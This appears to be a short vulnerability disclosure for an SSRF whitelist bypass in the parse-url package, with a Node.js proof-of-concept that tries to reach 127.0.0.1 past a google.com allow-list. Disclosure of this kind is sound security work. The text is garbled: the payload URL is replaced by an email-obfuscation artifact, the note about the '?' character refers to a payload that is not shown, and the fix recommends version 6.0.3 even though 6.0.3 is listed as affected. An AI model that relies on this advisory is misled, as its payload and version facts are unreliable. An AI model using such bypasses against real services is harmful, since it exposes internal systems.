Summary
Whitelist bypasses in parse-url.
Product
parse-url through 6.0.0, and versions 6.0.2, 6.0.3, 6.0.5.
Impact
This vulnerability is capable of blacklist / whitelist SSRF bypasses
Steps to reproduce
Convince NodeJS HTTP client to make a request to 127.0.0.1 bypassing a google.com whitelist.
const http = require('http')
const url = parse("http://[email protected]")
if (url.resource === "google.com") {
http.get(url.href)
}‘?’ is a special character in URLs and anything after the ? should be interpreted as the query.
Remediation
Update parse-url to 6.0.1 or 6.0.3.
Credit
This issue was reported by @haxatron through huntr.dev.
